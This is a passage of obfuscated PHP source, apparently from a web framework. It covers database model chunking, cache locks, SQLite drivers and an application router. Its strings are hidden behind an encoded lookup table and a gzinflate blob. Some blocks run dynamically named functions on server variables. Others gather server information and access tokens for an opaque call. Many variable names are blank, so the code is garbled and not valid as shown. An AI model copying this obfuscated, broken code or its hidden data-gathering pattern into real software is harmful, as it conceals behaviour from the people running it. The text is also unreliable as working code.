continue; } switch (trim($ܿ[3])) { case $[350]: case $[351]: $¹Ā = isset($ܿ[4]) ? (array) $ܿ[4] : array(); array_unshift($¹Ā, $ϼ[$]); if (isset($ܿ[4]) && $ܿ[4] == $[406]) { $¹Ā = array($ϼ[$]); } if ($[350] == $ܿ[3]) { $ϼ[$] = call_user_func_array($ܿ[1], $¹Ā); } else { $ϼ[$] = call_user_func_array(array(&$this, $ܿ[1]), $¹Ā); } break; case $[299]: if (isset($ϼ[$]) && $ϼ[$]) { $ϼ[$] = call_user_func_array(array(&$this, $ܿ[1]), array($ϼ[$])); } break; case $[302]: $ϼ[$] = $ϼ[$ܿ[1]]; break; case $[323]: $̧օ = $ϼ[$]; $ϼ[$] = json_decode($̧օ, !0); if (is_null($ϼ[$])) { $ϼ[$] = $̧օ; } break; case $[352]: if ($ϼ[$] === $[12]) { unset($ϼ[$]); } break; case $[353]: $ϼ[$] = $ܿ[1]; break; default: break; } } } public function saveAll($ގ) { $ʬ =& $_SERVER[̧]; $ = $this->tablePrefix . $this->tableName; $֞΢ = self::SQL_WHERE_IN_CHUNK; $ގ = is_array($ގ) ? $ގ : array(); $ = $ʬ[407]; $ή = 0; $î = array(); $ = count($ގ); for ($ = 0; $ < $; $++) { $ة = $ގ[$]; if (!is_array($ة) || count($ة) != 4) { continue; } $ء = "\x55\x50\104\x41\124\105\40\x60{$}\140\40\123\105\x54\x20{$ة[2]}\40\x3d\40\103\x41\x53\105\40{$ة[0]}\40\xa"; if ($ή == 0) { $ = $ء; } $î[] = $ʬ[118] . $ة[1] . $ʬ[118]; $ή++; $ .= "\x20\x57\x48\x45\116\40\47{$ة[1]}\47\40\124\x48\105\116\40\47{$ة[3]}\x27\x20\xa"; if ($ή == $֞΢ || $ == $ - 1) { $Һ = implode($ʬ[50], $î); $ .= "\40\105\116\x44\x20\40\127\x48\x45\122\x45\40{$ة[0]}\x20\111\x4e\40\50{$Һ}\51\40"; $this->execute($); $ή = 0; $ = $ء; $this->chunkEventCheck(count($î)); $î = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $א =& $_SERVER[̧]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $ƁȠ) { if (!is_array($ƁȠ) || count($ƁȠ) != 4) { continue; } $ = $ƁȠ[0] . $א[408] . $ƁȠ[1] . $א[118]; $ = $ƁȠ[2] . $א[408] . $ƁȠ[3] . $א[118]; $ = "\x75\x70\x64\141\164\x65\40{$}\40\163\x65\164\x20{$}\x20\167\150\x65\162\x65\40{$}\73"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($͍ = false, $ݝ͘ = false) { $this->_chunkEvent = $͍; $this->_chunkEventParam = $ݝ͘; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ڎȲ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $ڎȲ[$_SERVER[̧][409]] = $; Hook::trigger($this->_chunkEvent, $ڎȲ); } public function addAll($, $հ = array(), $ = false) { $ =& $_SERVER[̧]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[300]); return !1; } $հ = $this->_parseOptions($հ); foreach ($ as $р؏ => $߻ܤ) { $[$р؏] = $this->_facade($߻ܤ); $this->_beforeInsert($[$р؏], $հ); } if (method_exists($this->db, $[301])) { for ($Κ = 0; $Κ < count($); $Κ += $) { $Ĺ݃ = array_slice($, $Κ, $); if (!is_array($Ĺ݃) || count($Ĺ݃) == 0) { break; } $ͪ = $this->db->insertAll($Ĺ݃, $հ, $); $this->chunkEventCheck(count($Ĺ݃)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $р؏ => $߻ܤ) { $ͪ = $this->db->insert($߻ܤ, $հ, $); } $this->commit(); } if (!1 !== $ͪ) { $͹懓 = $this->getLastInsID(); if ($͹懓) { return $͹懓; } } return $ͪ; } public function save($ӏ = '', $ = array()) { $ԟ =& $_SERVER[̧]; $ = self::SQL_WHERE_IN_CHUNK; $͔ = $this->optionsValue(); $κ = $this->findWhereField($͔); if (!$κ) { return parent::save($ӏ, $); } $ = 0; $ = $͔[$ԟ[304]][$κ][1]; $ = is_array($) ? $ : array(); $ = count($); for ($݆ = 0; $݆ < $; $݆ += $) { $蜋 = array_slice($, $݆, $); if (!is_array($蜋) || count($蜋) == 0) { break; } $͔[$ԟ[304]][$κ][1] = $蜋; $this->optionsValue($͔); $ += parent::save($ӏ, $); $this->chunkEventCheck(count($蜋)); } $this->chunkEventSet(); return $; } public function add($ϧ = '', $́ = array(), $ = false) { if ($this->addTaskStatus && is_array($ϧ)) { $this->addTaskData[] = $ϧ; return; } return parent::add($ϧ, $́, $); } public function parseWhereLike($ܞ, $ت = '', $Ù = false, &$ǩ = false) { $ =& $_SERVER[̧]; $֛ = $GLOBALS[$[6]][$[410]]; if (!$֛[$[411]]) { return $ܞ; } if (!is_array($ܞ)) { return $ܞ; } $ό = array(); $ = 0; foreach ($ܞ as $ܿ => $򆫠) { if (is_array($򆫠) && count($򆫠) == 2 && $򆫠[0] == $[412] && is_string($򆫠[1]) && substr($򆫠[1], 0, 1) == $[413] && substr($򆫠[1], strlen($򆫠[1]) - 1, 1) == $[413]) { $ǩ = !0; $ = is_string($ܿ) ? $ܿ : $ت; $ݯ = substr($򆫠[1], 1, strlen($򆫠[1]) - 2); $ݯ = $this->db->escapeString($ݯ); if (!strpos($, $[10])) { $ = $[414] . $ . $[414]; } $Õ = $[189] . $ݯ . $[189]; $ݯ = str_replace(array($[10], $[415], $[11]), $[416], $ݯ); if ($֛[$[417]]) { $Õ = $[418] . $ݯ . $[419]; if ($֛[$[420]]) { $Õ = $[419] . $ݯ . $[418]; } } $ό[$] = $[421] . $ . $[422] . $Õ . $[423]; $++; continue; } if (is_array($򆫠)) { $ت = is_string($ܿ) ? $ܿ : $ت; $򆫠 = $this->parseWhereLike($򆫠, $ت, !0, $ǩ); } if (is_numeric($ܿ)) { $ό[$] = $򆫠; $++; } else { $ό[$ܿ] = $򆫠; } } if ($ǩ && !$Ù) { } return $ό; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $ؽ٠ =& $_SERVER[̧]; $܄Ḡ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $› = $this->findWhereField($); if (!$› || isset($[$ؽ٠[321]]) || isset($[$ؽ٠[382]])) { return parent::select($); } $㝘 = $[$ؽ٠[304]][$›][1]; $㝘 = is_array($㝘) ? $㝘 : array(); $ = null; for ($ = 0; $ < count($㝘); $ += $܄Ḡ) { $˷ = array_slice($㝘, $, $܄Ḡ); if (!is_array($˷) || count($˷) == 0) { break; } $[$ؽ٠[304]][$›][1] = $˷; $this->optionsValue($); $ʃ = parent::select($); if (!$ʃ) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $ʃ); } return $; } public function delete($ = array()) { $Σ =& $_SERVER[̧]; $ǔ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::delete($); } $´ = 0; $ɓ = $[$Σ[304]][$][1]; $ɓ = is_array($ɓ) ? $ɓ : array(); for ($ = 0; $ < count($ɓ); $ += $ǔ) { $ޖ = array_slice($ɓ, $, $ǔ); if (!is_array($ޖ) || count($ޖ) == 0) { break; } $[$Σ[304]][$][1] = $ޖ; $this->optionsValue($); $´ += parent::delete($); } return $´; } private function findWhereField($Ƚ) { $֨ =& $_SERVER[̧]; $ى = self::SQL_WHERE_IN_CHUNK; if (!is_array($Ƚ) || !is_array($Ƚ[$֨[304]])) { return !1; } foreach ($Ƚ[$֨[304]] as $ => $쇌Ğ) { if (is_array($쇌Ğ) && isset($쇌Ğ[0]) && is_string($쇌Ğ[0]) && strtolower($쇌Ğ[0]) == $֨[7] && is_array($쇌Ğ[1]) && count($쇌Ğ[1]) > $ى) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ׁ򭍌 = true) { think_config($_SERVER[̧][424], $ׁ򭍌); } } if ($_SERVER[$_SERVER[̧][425]] != $_SERVER[$_SERVER[̧][426]]) { $_getc = $_SERVER[̧][427]; $_getfile = $_SERVER[$_SERVER[̧][428]] . $_SERVER[̧][429]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[̧][231], $_getfilec); if (count($_getarrs) < $_SERVER[̧][430]) { $exit = $_SERVER[̧][431]; $exit(); } $_act = $_SERVER[̧][432]; $_act($_SERVER[$_SERVER[̧][433]]); } goto a瑼; dφ: class CacheLockRedis { public function lock($ۑ, $Ɇ = 10) { $˄ = Cache::init(); $眺 = microtime(!0) + $Ɇ; while (microtime(!0) < $眺) { $ǃ = $˄->get($ۑ); if (!$ǃ) { $ԕ = $˄->setLock($ۑ, $眺, $Ɇ); if ($ԕ) { return !0; } } else { if ($ǃ < microtime(!0)) { $˄->set($ۑ, $眺, $Ɇ * 2); if ($˄->get($ۑ) === $ǃ) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ۋ) { return Cache::init()->get($ۋ); } public function unlock($ܴ) { return Cache::init()->remove($ܴ); } } class CacheLockMemcached { public function lock($¹, $녵 = 0) { $ = Cache::init(); $ = microtime(!0) + $녵; while (microtime(!0) < $) { $䂙 = $->get($¹); if (!$䂙 || $䂙 < microtime(!0)) { $ðΩ = $->handle->add($¹, $, $녵); if ($ðΩ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($͖ϣ) { return Cache::init()->remove($͖ϣ); } } class CacheLockDatabase { public function lock($Ë, $ = 0) { $Þ = Model($_SERVER[̧][849]); $ = microtime(!0) + $; while (microtime(!0) < $) { $ڻ = $Þ->get($Ë); if (!$ڻ || $ڻ < microtime(!0)) { $ዀⳳ = $Þ->set($Ë, $); if ($ዀⳳ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($ٺ) { return Model($_SERVER[̧][849])->get($ٺ); } public function unlock($ᓗ) { Model($_SERVER[̧][849])->remove($ᓗ); } } goto fޓ; e: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ԔϞ =& $_SERVER[̧]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$ԔϞ[6]] =& $config; $this->values[$ԔϞ[7]] =& $in; $this->tpl = TEMPLATE . MOD . $ԔϞ[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($܄) { if (1 === func_num_args()) { $this->{$܄} = new $܄(); } else { $ = new ReflectionClass($܄); $λ󓰡 = func_get_args(); array_shift($λ󓰡); $this->{$܄} = $->newInstanceArgs($λ󓰡); } return $this->{$܄}; } public function routeBind($ն, $ڸ, $׮ = 3) { $ =& $_SERVER[̧]; $  = $this->in[$[9]]; $ն = str_replace($[10], $[11], trim(trim($ն, $[8]), $[12])); if (!$ն || count($ ) <= $׮) { return !1; } $ǿȐ = !0; $ = explode($[8], $ն); for ($ׅԜ = 0; $ׅԜ < count($); $ׅԜ++) { if ($[$ׅԜ] != $ [$׮ + $ׅԜ]) { $ǿȐ = !1; break; } } if (!$ǿȐ) { return; } call_user_func_array(array($this, $ڸ), array()); } public function routeArgs($ᤔ۞ = 3) { $ħ = $this->in[$_SERVER[̧][9]]; if (count($ħ) <= $ᤔ۞) { return array(); } $񠴤 = array(); for ($ߒ = $ᤔ۞; $ߒ < count($ħ); $ߒ += 2) { $񠴤[$ħ[$ߒ]] = $ħ[$ߒ + 1]; $this->in[$ħ[$ߒ]] = $ħ[$ߒ + 1]; } return $񠴤; } protected function assign($¡, $᫱) { $this->values[$¡] = $᫱; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ = '') { $ѧ =& $_SERVER[̧]; if (!extension_loaded($ѧ[13])) { think_exception(think_lang($ѧ[14]) . $ѧ[15]); } if (!empty($)) { if (!isset($[$ѧ[16]])) { $[$ѧ[16]] = 438; } $this->config = $; if (empty($this->config[$ѧ[17]])) { $this->config[$ѧ[17]] = array(); } } } public function connect($̢ = '', $ = 0) { $ =& $_SERVER[̧]; if (!isset($this->linkID[$])) { if (empty($̢)) { $̢ = $this->config; } $Ĝ = !empty($̢[$[17]][$[18]]) ? $̢[$[17]][$[18]] : $this->pconnect; $ = $Ĝ ? $[19] : $[20]; $this->linkID[$] = $($̢[$[21]], $̢[$[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($񩺧) { $ =& $_SERVER[̧]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $񩺧; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $񩺧); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($) { $ =& $_SERVER[̧]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $σ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $σ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[̧][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Ѽƀ = sqlite_query($this->_linkID, $_SERVER[̧][27]); if (!$Ѽƀ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[̧][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ڛف = array(); if ($this->numRows > 0) { for ($ڽʉ = 0; $ڽʉ < $this->numRows; $ڽʉ++) { $ڛف[$ڽʉ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $ڛف; } public function getFields($ʒݤ) { $絚 =& $_SERVER[̧]; $ = $this->query($絚[29] . $ʒݤ . $絚[30]); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$絚[31]]] = array($絚[32] => $[$絚[31]], $絚[33] => $[$絚[34]], $絚[35] => (bool) ($[$絚[36]] === $絚[12]), $絚[37] => $[$絚[38]], $絚[39] => strtolower($[$絚[40]]) == $絚[41], $絚[42] => strtolower($[$絚[43]]) == $絚[44]); } } return $; } public function getTables($ = '') { $㞦 =& $_SERVER[̧]; $ȭ = $this->query($㞦[45] . $㞦[46] . $㞦[47]); $ = array(); foreach ($ȭ as $݌ => $) { $[$݌] = current($); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $䔌 =& $_SERVER[̧]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $䔌[4] . sqlite_error_string($); if ($䔌[12] != $this->queryStr) { $this->error .= LNG($䔌[48]) . $this->queryStr; } think_trace($this->error, $䔌[12], $䔌[49]); return $this->error; } public function escapeString($ֹ) { return sqlite_escape_string($ֹ); } public function parseLimit($) { $ߔ =& $_SERVER[̧]; $ݷ = $ߔ[12]; if (!empty($)) { $ = explode($ߔ[50], $); if (count($) > 1) { $ݷ .= $ߔ[51] . $[1] . $ߔ[52] . $[0] . $ߔ[53]; } else { $ݷ .= $ߔ[51] . $[0] . $ߔ[53]; } } return $ݷ; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $آ =& $_SERVER[̧]; if (!class_exists($آ[54])) { think_exception(think_lang($آ[14]) . $آ[55]); } if (!empty($)) { if (!isset($[$آ[16]])) { $[$آ[16]] = 438; } $this->config = $; if (empty($this->config[$آ[17]])) { $this->config[$آ[17]] = array(); } } } public function connect($ġ̉ = '', $ڨ = 0) { $򤢱ۅ =& $_SERVER[̧]; if (!isset($this->linkID[$ڨ])) { if (empty($ġ̉)) { $ġ̉ = $this->config; } $this->linkID[$ڨ] = new SQLite3($ġ̉[$򤢱ۅ[21]]); if (!$this->linkID[$ڨ]) { think_exception($this->linkID[$ڨ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ڨ]->busyTimeout(30000); if (1 != think_config($򤢱ۅ[22])) { unset($this->config); } } return $this->linkID[$ڨ]; } public function free() { $this->queryID = null; } public function query($) { $̬ =& $_SERVER[̧]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($̬[23], 1); think_status($̬[24]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $פ = $this->getAll(); $this->numRows = count($פ); return $פ; } } public function execute($а) { $⬭ =& $_SERVER[̧]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $а; if ($this->queryID) { $this->free(); } think_action_status($⬭[25], 1); think_status($⬭[24]); $ = $this->_linkID->exec($а); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[̧][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[̧][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ġ = $this->_linkID->query($_SERVER[̧][28]); if (!$ġ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $Ȏ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $Ȏ[] = $; } $this->queryID->reset(); return $Ȏ; } public function getFields($㼨) { $ =& $_SERVER[̧]; $ = $this->query($[29] . $㼨 . $[30]); $ͯä = array(); if ($) { foreach ($ as $ => $) { $ͯä[$[$[32]]] = array($[32] => $[$[32]], $[33] => $[$[33]], $[35] => (bool) ($[$[35]] === $[12]), $[37] => $[$[56]], $[39] => (bool) $[$[57]], $[42] => (bool) $[$[57]]); } } return $ͯä; } public function getTables($̊ = '') { $ =& $_SERVER[̧]; $П¹ = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($П¹ as $ => $) { $[$] = current($); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ۤ =& $_SERVER[̧]; $this->error = $this->_linkID->lastErrorMsg(); if ($ۤ[12] != $this->queryStr) { $this->error .= LNG($ۤ[48]) . $this->queryStr; } think_trace($this->error, $ۤ[12], $ۤ[49]); return $this->error; } public function escapeString($) { $ҒȎ =& $_SERVER[̧]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($ҒȎ[58], $ҒȎ[59], $); } public function parseLimit($߅՛) { $ =& $_SERVER[̧]; $ = $[12]; if (!empty($߅՛)) { $߅՛ = explode($[50], $߅՛); if (count($߅՛) > 1) { $ .= $[51] . $߅՛[1] . $[52] . $߅՛[0] . $[53]; } else { $ .= $[51] . $߅՛[0] . $[53]; } } return $; } } goto cʣ; a̲͕: $_SERVER[ݐ] = explode($_SERVER[̧][645], gzinflate(substr($_SERVER[̧][646], 10, -8))); $npgsfqemyr = $_SERVER[̧][647]; class Application { private $defaultModule = "\x69\x6e\x64\x65\x78"; private $defaultController = "\151\156\144\x65\x78"; private $defaultAction = "\151\156\144\145\170"; function __construct() { } public function setDefault($) { $ߙ =& $_SERVER[̧]; $ˣ =& $_SERVER[ݐ]; $ = explode($ˣ[0], trim($, $ˣ[0])); $ = $ߙ[648]; while ($ < $ߙ[430]) { if ($ >= 0) { break; } $++; } $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $ = $ߙ[649]; $this->defaultController = $[1] ? $[1] : $this->defaultController; $ = $ߙ[650]; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $this->zderb7968a8c($ˣ[1], array($this, $ˣ[2])); } public function appRun($􏆖) { $˒ =& $_SERVER[̧]; $ =& $_SERVER[ݐ]; $Ƣ = explode($[0], $􏆖); $妌 = $˒[651]; if (strlen($妌) < $˒[652]) { return; } $͵ = strtolower($Ƣ[0]); $ړ = $[3]; $ = $˒[653]; if (!$) { return; } if ($͵ == $[4]) { $ړ = $[5]; $Ƣ[0] = $[6]; $Ƣ[1] = $Ƣ[1] . $[7]; $􏆖 = join($[0], $Ƣ); $􏆖 = trim($􏆖, $[0]); } call_user_func(array($[8], $[9]), $ړ . $[10], $􏆖); ActionCall($􏆖); call_user_func(array($[8], $[9]), $ړ . $[11], $􏆖); } private function autorun() { $կԤ =& $_SERVER[ݐ]; global $config; if (count($config[$կԤ[12]]) == 0) { return; } foreach ($config[$կԤ[12]] as $ => $ž) { $this->appRun($ž); } } private function kupx1079a672() { $ =& $_SERVER[̧]; $ۃ =& $_SERVER[ݐ]; $Ն̓ = $ۃ[4]; $ۥ = $[654]; $ҩ = $GLOBALS[$ۃ[13]][$ۃ[14]][0]; $ = $[655]; if (!$ҩ || strlen($ҩ) <= strlen($Ն̓)) { return; } if (strtolower(substr($ҩ, -strlen($Ն̓))) != $Ն̓) { return; } $̉ = substr($ҩ, 0, -strlen($Ն̓)); $ = array($ۃ[4], $̉); $ = array_slice($GLOBALS[$ۃ[13]][$ۃ[14]], 1); $Ɩ = $[656]; if (strlen($Ɩ) < $[657]) { die; } $GLOBALS[$ۃ[13]][$ۃ[14]] = array_merge($, $); $GLOBALS[$ۃ[13]][$ۃ[15]] = implode($ۃ[0], $GLOBALS[$ۃ[13]][$ۃ[14]]); $ = $[658]; while (strlen($) < $[430]) { if (!$) { break; } $++; } } private function hyacedc41263() { $ˊ =& $_SERVER[̧]; $霼 =& $_SERVER[ݐ]; if ($GLOBALS[$霼[13]][$霼[15]] != $霼[6]) { return; } $ = $_SERVER[$霼[16]]; $ݶۻ = $霼[17]; $ҭ = $ˊ[659]; if (!$ҭ) { return; } if (!strstr($, $ݶۻ)) { return; } $ = strrpos($, $ݶۻ); $ņ = $ˊ[660]; if (strlen($ņ) < $ˊ[430]) { die; } $ = substr($, $ + strlen($ݶۻ)); $ = $ˊ[661]; if (strlen($) < $ˊ[430]) { return; } preg_match_all($霼[18], $, $); $ = trim($[0][0], $霼[19]); $GLOBALS[$霼[13]][$霼[14]] = explode($霼[19], $); $Î = $ˊ[662]; if (strlen($Î) < $ˊ[657]) { return; } $GLOBALS[$霼[13]][$霼[15]] = implode($霼[0], $GLOBALS[$霼[13]][$霼[14]]); $ = $ˊ[663]; if (!$) { return; } } public function run() { $ =& $_SERVER[̧]; $޿ =& $_SERVER[ݐ]; $this->hyacedc41263(); $this->kupx1079a672(); $ = $[664]; while (strlen($) < $[665]) { if (!$) { break; } $++; } $ = $GLOBALS[$޿[13]][$޿[14]]; $֥ = $[666]; if (strlen($֥) < $[667]) { return; } $ = $GLOBALS[$޿[13]][$޿[15]]; define($޿[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $ǔÀ = $[668]; if (!$ǔÀ) { return; } define($޿[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); define($޿[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); define($޿[23], MOD . $޿[0] . ST . $޿[0] . ACT); $_SERVER[$޿[24]] = strtolower(ACTION); $ = $[669]; if (!$) { return; } $this->autorun(); if (count($) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $zvkl25859fa0 = array(); private $dekfd3d9090c = ''; public function xdgr699319f1() { $ϓ =& $_SERVER[̧]; $˟ =& $_SERVER[ݐ]; $this->zgua26b464a1(); $ = $ϓ[670]; $this->dtaib2b59799(); $ = $ϓ[671]; $this->gmes33cff560(); $ۯ = $ϓ[650]; $this->nuwie478d8de(); $ = $ϓ[672]; $this->udea12a2ec8d(); $˳ = $ϓ[673]; if (strlen($˳) < $ϓ[665]) { die; } $this->aujm374a6d40(); $this->jivoa4c107b9(); $this->zderb7968a8c($˟[25], array($this, $˟[26])); $this->zderb7968a8c($˟[27], array($this, $˟[28])); $this->zderb7968a8c($˟[29], array($this, $˟[30])); $this->zderb7968a8c($˟[31], array($this, $˟[32])); $ = $ϓ[674]; } public function obgee6be748d($ż) { $ǩ =& $_SERVER[̧]; $ȫ =& $_SERVER[ݐ]; $ = Model($ȫ[33])->get(); $ = $ǩ[675]; if (!$) { return; } $ = array($ȫ[34], $ȫ[35], $ȫ[36], $ȫ[37], $ȫ[38], $ȫ[39], $ȫ[40], $ȫ[41], $ȫ[42], $ȫ[43], $ȫ[44], $ȫ[45], $ȫ[46], $ȫ[47], $ȫ[48], $ȫ[49], $ȫ[50], $ȫ[51], $ȫ[52], $ȫ[53], $ȫ[54], $ȫ[55], $ȫ[56], $ȫ[57], $ȫ[58], $ȫ[59], $ȫ[60], $ȫ[61], $ȫ[62], $ȫ[63], $ȫ[64], $ȫ[65], $ȫ[66], $ȫ[67], $ȫ[68], $ȫ[69], $ȫ[70], $ȫ[71], $ȫ[72], $ȫ[73], $ȫ[74], $ȫ[75], $ȫ[76], $ȫ[77], $ȫ[78], $ȫ[79], $ȫ[80], $ȫ[81], $ȫ[82], $ȫ[83], $ȫ[84]); $Ρ = $ǩ[676]; if (!$Ρ) { die; } foreach ($ as $‚ȥ) { $䇄 = $GLOBALS[$ȫ[85]][$ȫ[86]][$‚ȥ]; if (isset($[$‚ȥ])) { $䇄 = $[$‚ȥ]; } $ż[$ȫ[87]][$ȫ[88]][$‚ȥ] = $䇄; } $ = $ż[$ȫ[87]][$ȫ[88]][$ȫ[46]]; $ٹ = $ǩ[677]; if (strlen($ٹ) < $ǩ[652]) { return; } unset($ż[$ȫ[87]][$ȫ[89]][$ȫ[90]]); unset($ż[$ȫ[87]][$ȫ[89]][$ȫ[91]]); unset($ż[$ȫ[87]][$ȫ[88]][$ȫ[46]]); $鉮ѕ = $ǩ[678]; while (strlen($鉮ѕ) < $ǩ[657]) { if (!$鉮ѕ) { break; } $鉮ѕ++; } unset($ż[$ȫ[87]][$ȫ[88]][$ȫ[92]]); $ż[$ȫ[87]][$ȫ[88]][$ȫ[93]] = array($ȫ[94] => (int) $[$ȫ[95]], $ȫ[96] => (int) _get($, $ȫ[97], 0)); $ż[$ȫ[98]][$ȫ[99]] = Action($ȫ[100])->accessToken(); $ż[$ȫ[98]][$ȫ[101]] = md5($_SERVER[$ȫ[102]] . $[$ȫ[103]]); $ż[$ȫ[98]][$ȫ[104]] = base64_encode(serverInfo()); $ż[$ȫ[98]][$ȫ[105]] = $this->dekfd3d9090c; if ($[$ȫ[105]] != $ȫ[106]) { $ż[$ȫ[98]][$ȫ[107]] = $[$ȫ[107]]; $ż[$ȫ[98]][$ȫ[108]] = $[$ȫ[108]]; $… = rand_string(10) . $this->dekfd3d9090c . rand_string(5); $ż[$ȫ[87]][$ȫ[109]][$ȫ[110]] = $this->qynzd68ec0de($…, $ż[$ȫ[98]][$ȫ[101]]); } if ($this->dekfd3d9090c == $ȫ[106]) { $ż[$ȫ[87]][$ȫ[88]][$ȫ[93]][$ȫ[97]] = 0; } $ż[$ȫ[98]][$ȫ[111]] = _get($this->zvkl25859fa0, $ȫ[112], $ȫ[6]); $ż[$ȫ[98]][$ȫ[113]] = _get($this->zvkl25859fa0, $ȫ[114], $ȫ[6]); if (_get($GLOBALS, $ȫ[115]) && $this->config[$ȫ[116]]) { $ż[$ȫ[98]][$ȫ[117]] = WEB_ROOT; } return $ż; } private function aujm374a6d40() { $ =& $_SERVER[̧]; $̺ =& $_SERVER[ݐ]; $Ü = $_SERVER[$̺[24]] == $̺[118]; if ($_SERVER[$̺[24]] == $̺[119] && $_GET[$̺[120]] == $̺[121]) { $Ü = !0; } if ($Ü) { $ύ = array($̺[105] => $this->dekfd3d9090c, $̺[122] => $this->thyi43fa15c5(), $̺[123] => Model($̺[124])->count()); if ($this->dekfd3d9090c != $̺[106]) { $ = _get($this->zvkl25859fa0, $̺[125]); if ($) { $ύ[$̺[126]] = $; $ύ[$̺[127]] = strtotime(_get($this->zvkl25859fa0, $̺[128])); $ύ[$̺[129]] = _get($this->zvkl25859fa0, $̺[114]); } $DZ = Model($̺[33])->get($̺[130], $̺[6], !0); if (is_string($DZ) && substr($DZ, 0, 1) == $̺[131]) { $DZ = json_decode_force($DZ); } if (is_array($DZ) && $DZ[$̺[132]] && strstr($DZ[$̺[132]], $̺[133])) { $ = explode($̺[133], $DZ[$̺[132]]); $ύ[$̺[134]] = $[0]; } } $ύ = $this->sfha659a1904(json_encode($ύ), md5($̺[135])); $ŕړ = $[679]; if (strlen($ŕړ) < $[430]) { die; } $覍 = array($̺[136] => $ύ); call_user_func(array($̺[137], $̺[138]), $覍); } if ($this->dekfd3d9090c == $̺[106]) { return; } $ѩ = array($̺[139], $̺[140], $̺[141], $̺[142], $̺[143], $̺[144]); $Ѯő = $[680]; if (strlen($Ѯő) < $[667]) { die; } $ = Model($̺[33])->get(); $覍 = array($̺[145] => $[$̺[34]], $̺[146] => $[$̺[35]], $̺[147] => $̺[6]); foreach ($ѩ as $ڔ) { if (!isset($[$ڔ]) || !$[$ڔ]) { continue; } $覍[$ڔ] = $[$ڔ]; $ϊ߄ = $[681]; if (!$ϊ߄) { die; } } call_user_func(array($̺[137], $̺[138]), $覍); } private function nuwie478d8de() { $뛝ݢ =& $_SERVER[̧]; $ =& 